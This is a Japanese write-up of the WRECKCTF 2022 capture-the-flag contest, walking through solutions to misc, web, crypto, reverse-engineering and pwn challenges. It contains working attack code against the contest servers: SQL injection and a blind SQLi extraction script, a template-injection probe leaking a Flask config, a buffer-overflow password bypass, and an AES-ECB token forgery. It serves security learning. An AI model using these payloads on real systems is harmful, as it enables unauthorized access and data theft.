WRECKCTF 2022 Writeup

この大会は2022/10/1 5:00(JST)~2022/10/3 5:00(JST)に開催されました。
今回もチームで参戦。結果は4931点で524チーム中38位でした。
自分で解けた問題をWriteupとして書いておきます。

smoke-check (misc)

flag.txtにフラグが書いてあった。

flag{this_is_what_flags_look_like}

discord (misc)

Discordに入り、#announcementsチャネルを見ると、フラグが書いてあった。

flag{this_is_the_discord_flag}

sources (web)

HTMLソースを見ると、コメントにフラグの一部が書いてあった。

<!-- flag part 1: flag{bd6a9e3f -->

さらにリンクされているstyle.cssを見てみると、やはりフラグの一部が書いてある。

/* flag part 2: 1690f7ab */

最後にリンクされているscript.jsを見てみると、最後のフラグの一部が書いてあった。

// flag part 3: b8445c0e}
flag{bd6a9e3f1690f7abb8445c0e}

bash (misc)

$ nc challs.wreckctf.com 31106
$ ls
flag.txt
run
$ cat flag.txt
flag{cat_the_flag}
flag{cat_the_flag}

spin (crypto)

アルファベット小文字のみ、43、実質17シフトする。

#!/usr/bin/env python3
def rev_spin(c, key):
    return chr((ord(c) - ord('a') + key) % 26 + ord('a'))

ciphertext = 'oujp{xkurpjcxah_ljnbja_lryqna}'
flag = ''.join(
    rev_spin(c, 43) if 'a' <= c <= 'z' else c
    for c in ciphertext
)
print(flag)
flag{obligatory_caesar_cipher}

password-1 (web)

コードに以下の部分がある。

@server.get('/api/output', c_type='text/plain')
async def flag(request):
    del request
    return (200, FLAG)

https://password-1.challs.wreckctf.com/api/outputにアクセスすると、フラグが表示された。

flag{why_is_hashing_in_browser_so_hard}

password-2 (web)

SQLインジェクション。' or 1=1 -- と入力すると、フラグが表示された。

flag{i_love_in_memory_sqlite}

baby-rsa (crypto)

n, p, e, cがわかっているので、通常通り復号できる。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

n = int(params[0].split(' ')[-1])
p = int(params[1].split(' ')[-1])
c = int(params[2].split(' ')[-1])

e = 65537
q = n // p
assert n == p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
flag{omg_its_rsa}

flag-checker (rev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  char local_48 [3];
  char acStack69 [3];
  char acStack66 [3];
  char acStack63 [3];
  char acStack60 [3];
  char acStack57 [3];
  char acStack54 [3];
  char acStack51 [3];
  char acStack48 [3];
  char acStack45 [3];
  char acStack42 [3];
  char acStack39 [3];
  char acStack36 [3];
  char local_21;
  undefined local_20;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  fgets(local_48,0x29,stdin);
  local_20 = 0;
  sVar2 = strlen(local_48);
  if (sVar2 != 0x28) {
    bad();
  }
  iVar1 = strncmp(acStack42,"d94",3);
  if (iVar1 != 0) {
    bad();
  }
  iVar1 = strncmp(acStack66,"db_",3);
  if (iVar1 != 0) {
    bad();
  }
  iVar1 = strncmp(acStack54,"35t",3);
  if (iVar1 != 0) {
    bad();
  }
  iVar1 = strncmp(acStack60,"y0u",3);
  if (iVar1 != 0) {
    bad();
  }
  iVar1 = strncmp(acStack63,"1s_",3);
  if (iVar1 != 0) {
    bad();
  }
  iVar1 = strncmp(acStack45,"d_6",3);
  if (iVar1 != 0) {
    bad();
  }
  iVar1 = strncmp(acStack69,"g{g",3);
  if (iVar1 != 0) {
    bad();
  }
  iVar1 = strncmp(acStack51,"_fr",3);
  if (iVar1 != 0) {
    bad();
  }
  if (local_21 != '}') {
    bad();
  }
  iVar1 = strncmp(acStack48,"13n",3);
  if (iVar1 != 0) {
    bad();
  }
  iVar1 = strncmp(acStack36,"fa6",3);
  if (iVar1 != 0) {
    bad();
  }
  iVar1 = strncmp(acStack57,"r_b",3);
  if (iVar1 != 0) {
    bad();
  }
  iVar1 = strncmp(acStack39,"620",3);
  if (iVar1 != 0) {
    bad();
  }
  iVar1 = strncmp(local_48,"fla",3);
  if (iVar1 != 0) {
    bad();
  }
  puts("Nice job! Submit your answer as the flag.");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

local_48から必要な条件を結合していく。

flag{gdb_1s_y0ur_b35t_fr13nd_6d94620fa6}

notes-1 (web)

/vied/[id]で該当するデータを見れる。idは番号のsha256になっていて、flagはid: 0で登録されているはず。

$ echo -n 0 | sha256sum
5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9  -

https://notes-1.challs.wreckctf.com/view/5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9にアクセスしたら、フラグが表示された。

flag{technically_a_vulnerability}

advanced-flag-checker (rev)

Ghidraでデコンパイルする。

void entry(void)

{
  code *pcVar1;
  int *extraout_ECX;
  
  pcVar1 = (code *)swi(0x80);
  (*pcVar1)();
  pcVar1 = (code *)swi(0x80);
  (*pcVar1)();
  *(undefined *)(extraout_ECX + 10) = 0;
  if ((((((*extraout_ECX == 0x67616c66) && (extraout_ECX[1] == 0x706f687b)) &&
        (extraout_ECX[2] == 0x6f795f65)) &&
       ((extraout_ECX[3] == 0x73755f75 && (extraout_ECX[4] == 0x7a5f6465)))) &&
      ((extraout_ECX[5] == 0x6f665f33 &&
       ((extraout_ECX[6] == 0x68745f72 && (extraout_ECX[7] == 0x315f7369)))))) &&
     ((extraout_ECX[8] == 0x31633832 && (extraout_ECX[9] == 0x7d376433)))) {
    pcVar1 = (code *)swi(0x80);
    (*pcVar1)();
    pcVar1 = (code *)swi(0x80);
    (*pcVar1)();
  }
  pcVar1 = (code *)swi(0x80);
  (*pcVar1)();
  pcVar1 = (code *)swi(0x80);
  (*pcVar1)();
                    /* WARNING: Bad instruction - Truncating control flow here */
  halt_baddata();
}

この条件を満たす数値を文字にして、結合していく。

#!/usr/bin/env python3
codes = [0x67616c66, 0x706f687b, 0x6f795f65, 0x73755f75, 0x7a5f6465, 0x6f665f33,
    0x68745f72, 0x315f7369, 0x31633832, 0x7d376433]

flag = b''
for code in codes:
    flag += code.to_bytes(4, byteorder='little')
flag = flag.decode()
print(flag)
flag{hope_you_used_z3_for_this_128c13d7}

blog (web)

New QuestionのTitleに {{7*7}} と入力してSaveすると、Post 49 created successfully.と表示される。
今度は {{config}} と入力してみると、以下のように表示された。

Post "<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': "flag{I'm_not_real_:)}", 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': None, 'JSON_SORT_KEYS': None, 'JSONIFY_PRETTYPRINT_REGULAR': None, 'JSONIFY_MIMETYPE': None, 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>" created successfully.

SECRET_KEYにフラグが設定されている。

flag{I'm_not_real_:)}

login (pwn)

BOFで、15バイト+終端文字を2回同じものを繰り返し入力し、パスワードが一致するようにする。

#!/usr/bin/env python3
from pwn import *

p = remote('challs.wreckctf.com', 31009)

data = p.recvline().decode().rstrip()
print(data)

payload = (b'A' * 15 + b'\x00') * 2
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to challs.wreckctf.com on port 31009: Done
Input password
b'AAAAAAAAAAAAAAA\x00AAAAAAAAAAAAAAA\x00'
flag{i_wish_could_gets_more_runes}
[*] Closed connection to challs.wreckctf.com port 31009
flag{i_wish_could_gets_more_runes}

password-3 (web)

ログイン成功、失敗しかわからない。パスワードテーブルにフラグが入っているので、Blind SQL Injectionで求める。

#!/usr/bin/env python3
import requests
import json

url = 'https://password-3.challs.wreckctf.com/password'
headers = {"Content-Type": "application/json"}

flag_len = -1
for i in range(1, 100):
    data = {"password": "' or (SELECT length(password) FROM passwords"
        + " LIMIT 3, 1) = " + str(i) + " --"}
    r = requests.post(url, data=json.dumps(data), headers=headers)
    if 'Congrats' in r.text:
        flag_len = i
        break

print('[+] flag length is:', flag_len)

flag = ''
for i in range(1, flag_len + 1):
    for code in range(33, 127):
        data = {"password": "' or SUBSTR((SELECT password FROM passwords"
            + " LIMIT 3, 1)," + str(i) + ",1) = '" + chr(code) + "' --"}
        r = requests.post(url, data=json.dumps(data), headers=headers)
        if 'Congrats' in r.text:
            flag += chr(code)
            break
    print('[+] flag:', flag)

print('[*] flag:', flag)

実行結果は以下の通り。

[+] flag length is: 29
[+] flag: f
[+] flag: fl
[+] flag: fla
[+] flag: flag
[+] flag: flag{
[+] flag: flag{w
[+] flag: flag{wh
[+] flag: flag{whe
[+] flag: flag{whee
[+] flag: flag{whee_
[+] flag: flag{whee_b
[+] flag: flag{whee_bi
[+] flag: flag{whee_bin
[+] flag: flag{whee_bina
[+] flag: flag{whee_binar
[+] flag: flag{whee_binary
[+] flag: flag{whee_binary_
[+] flag: flag{whee_binary_s
[+] flag: flag{whee_binary_se
[+] flag: flag{whee_binary_sea
[+] flag: flag{whee_binary_sear
[+] flag: flag{whee_binary_searc
[+] flag: flag{whee_binary_search
[+] flag: flag{whee_binary_search_
[+] flag: flag{whee_binary_search_s
[+] flag: flag{whee_binary_search_sq
[+] flag: flag{whee_binary_search_sql
[+] flag: flag{whee_binary_search_sqli
[+] flag: flag{whee_binary_search_sqli}
[*] flag: flag{whee_binary_search_sqli}
flag{whee_binary_search_sqli}

reverser (rev)

問題のスクリプトは以下のようになっている。

#!/usr/local/bin/python

import os

def check_license(license):
    characters = set('0123456789abcdef')
    s = [9]
    for c in license:
        if c not in characters:
            return False
        s.append((s[-1] + int(c, 16)) % 16)
    target = '51c49a1a00647b037f5f3d5c878eb656'
    return ''.join(f'{c:x}' for c in s[1:]) == target

print('welcome to reverser as a service!')
license = input('please enter your license key: ')

if not check_license(license):
    print('sorry, incorrect key!')
    exit()

string = input('what should i reverse? ')
print(f'output: {string[::-1]}')
print(os.environ.get('FLAG', 'no flag given'))

check_licenseの内容から逆算し、licenseを算出する。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

target = '51c49a1a00647b037f5f3d5c878eb656'
s = [9]

license = ''
for c in target:
    license += hex((int(c, 16) - s[-1]) % 16)[2:]
    s.append(int(c, 16))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.wreckctf.com', 31706))

data = recvuntil(s, b': ')
print(data + license)
s.sendall(license.encode() + b'\n')
data = recvuntil(s, b'? ')
print(data + license)
s.sendall(license.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

welcome to reverser as a service!
please enter your license key: ccb85179606e3453486a4a87cf16dbf1
what should i reverse? ccb85179606e3453486a4a87cf16dbf1
output: 1fbd61fc78a4a6843543e60697158bcc
flag{clock_math_too_hard}
flag{clock_math_too_hard}

barcode (misc)

横に白が0、黒が1で2進数にし、デコードする。

#!/usr/bin/env python3
from PIL import Image

img = Image.open('output.png').convert('RGB')
w, h = img.size

STRIPE_WIDTH = 16

bin_flag = ''
for x in range(0, w, STRIPE_WIDTH):
    r, g, b = img.getpixel((x, 0))
    if r == 0 and g == 0 and b == 0:
        bin_flag += '1'
    else:
        bin_flag += '0'

flag = ''
for i in range(0, len(bin_flag), 8):
    flag += chr(int(bin_flag[i:i+8], 2))
print(flag)
flag{not_really_a_barcode_i_guess}

my-frob (rev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char cVar1;
  char *__s;
  size_t sVar2;
  int local_10;
  int local_c;
  
  __s = (char *)load_flag();
  local_c = 1;
  local_10 = 1;
  while (local_10 != 0xe9) {
    sVar2 = strlen(__s);
    my_memfrob(__s,sVar2,local_10);
    cVar1 = (char)local_10;
    local_10 = local_10 + local_c;
    local_c = (int)cVar1;
  }
  print(__s);
  return 0;
}

void * load_flag(void)

{
  FILE *__stream;
  size_t __n;
  void *__ptr;
  
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  fseek(__stream,0,2);
  __n = ftell(__stream);
  fseek(__stream,0,0);
  __ptr = malloc(__n + 1);
  if (__ptr == (void *)0x0) {
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  *(undefined *)((long)__ptr + __n) = 0;
  fread(__ptr,1,__n,__stream);
  fclose(__stream);
  return __ptr;
}

void my_memfrob(long param_1,ulong param_2,byte param_3)

{
  int local_c;
  
  for (local_c = 0; (ulong)(long)local_c < param_2; local_c = local_c + 1) {
    *(byte *)(param_1 + local_c) = *(byte *)(param_1 + local_c) ^ param_3;
  }
  return;
}

表示された16進数を算出したkeyとXORをする。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.wreckctf.com', 31618))

data = recvuntil(s, b'\n').rstrip()
print(data)
codes = [int(c, 16) for c in data.split(' ')]

key = 0
local_c = 1
local_10 = 1
while local_10 != 0xe9:
    key ^= local_10
    cVar1 = local_10
    local_10 += local_c
    local_c = cVar1

flag = ''
for code in codes:
    flag += chr(code ^ key)
print(flag)

実行結果は以下の通り。

af a5 a8 ae b2 a5 a0 a7 bc b1 96 ba a1 a6 bc a5 ad 96 a8 ad ad 96 a4 b0 96 a4 ac a4 af bb a6 ab b4
flag{linux_should_add_my_memfrob}
flag{linux_should_add_my_memfrob}

mtp (crypto)

サーバの処理概要は以下の通り。

・LETTERS: アルファベット小文字
・key: 0~25のリストの256個のリスト
・keyの要素リストの中をシャッフル
・以下繰り返し
 ・choice: 入力
 ・choiceが'1'の場合
  ・plaintext: 入力
 ・choiceが'2'の場合
  ・plaintext: FLAG
 ・encrypt(plaintext, key)を表示

同じ位置の文字は換字暗号になっているので、一文字ずつ総当たりで復号する。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

LETTERS = list('abcdefghijklmnopqrstuvwxyz')

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.wreckctf.com', 31239))

data = recvuntil(s, b'> ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
flag_enc = data.split(' ')[-1]

flag = ''
for i in range(len(flag_enc)):
    if flag_enc[i] not in LETTERS:
        flag += flag_enc[i]
        continue

    for c in LETTERS:
        plaintext = flag + c
        data = recvuntil(s, b'> ')
        print(data + '1')
        s.sendall(b'1\n')
        data = recvuntil(s, b'? ')
        print(data + plaintext)
        s.sendall(plaintext.encode() + b'\n')
        data = recvuntil(s, b'\n').rstrip()
        print(data)
        enc = data.split(' ')[-1]
        if enc == flag_enc[:i+1]:
            flag += c
            break

print(flag)

実行結果は以下の通り。

Welcome to the Multi-Time Pad!
1. Encrypt message
2. Get flag
> 2
Result: szyf{cloy_joa_mrqch_svpjsbsaeihpjpztxbi}

        :

1. Encrypt message
2. Get flag
> 1
What's your message? flag{oops_key_reuse_bwcjpqdweoclkwlbkn
Result: szyf{cloy_joa_mrqch_svpjsbsaeihpjpztxi
1. Encrypt message
2. Get flag
> 1
What's your message? flag{oops_key_reuse_bwcjpqdweoclkwlbko
Result: szyf{cloy_joa_mrqch_svpjsbsaeihpjpztxb
1. Encrypt message
2. Get flag
> 1
What's your message? flag{oops_key_reuse_bwcjpqdweoclkwlbkoa
Result: szyf{cloy_joa_mrqch_svpjsbsaeihpjpztxbm
1. Encrypt message
2. Get flag
> 1
What's your message? flag{oops_key_reuse_bwcjpqdweoclkwlbkob
Result: szyf{cloy_joa_mrqch_svpjsbsaeihpjpztxbr
1. Encrypt message
2. Get flag
> 1
What's your message? flag{oops_key_reuse_bwcjpqdweoclkwlbkoc
Result: szyf{cloy_joa_mrqch_svpjsbsaeihpjpztxbi
flag{oops_key_reuse_bwcjpqdweoclkwlbkoc}
flag{oops_key_reuse_bwcjpqdweoclkwlbkoc}

token (crypto)

サーバの処理概要は以下の通り。

・KEY: ランダム16進数文字列32バイト
・以下繰り返し
 ・value: 入力
 ・valueが'1'の場合
  ・token: 入力(16進数表記)
  ・name: tokenをhexデコードし、AES-ECB復号し、アンパッドする。
  ・nameが"gary"の場合、フラグを表示
 ・valueが'2'の場合
  ・name: 入力
  ・nameが"gary"以外の場合、パディングして、AES-ECB暗号して表示

16バイト+"gary"を暗号化して、2ブロック目を復号すれば"gary"になることを使って、フラグを取得する。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.wreckctf.com', 31522))

data = recvuntil(s, b'> ')
print(data + '2')
s.sendall(b'2\n')

name = 'A' * 16 + 'gary'

data = recvuntil(s, b': ')
print(data + name)
s.sendall(name.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
token = data.split(' ')[-1]

data = recvuntil(s, b'> ')
print(data + '1')
s.sendall(b'1\n')

token = token[32:]

data = recvuntil(s, b': ')
print(data + token)
s.sendall(token.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

welcome to the flag viewer!
1. view flag
2. generate token
> 2
name: AAAAAAAAAAAAAAAAgary
here's your token: d1724cdf290a3d219e845451775c91c6ace0890a3912d161e55b9a6bfcbefc14
1. view flag
2. generate token
> 1
token: ace0890a3912d161e55b9a6bfcbefc14
flag{gary_gary_gary_gary_gary_gary}
flag{gary_gary_gary_gary_gary_gary}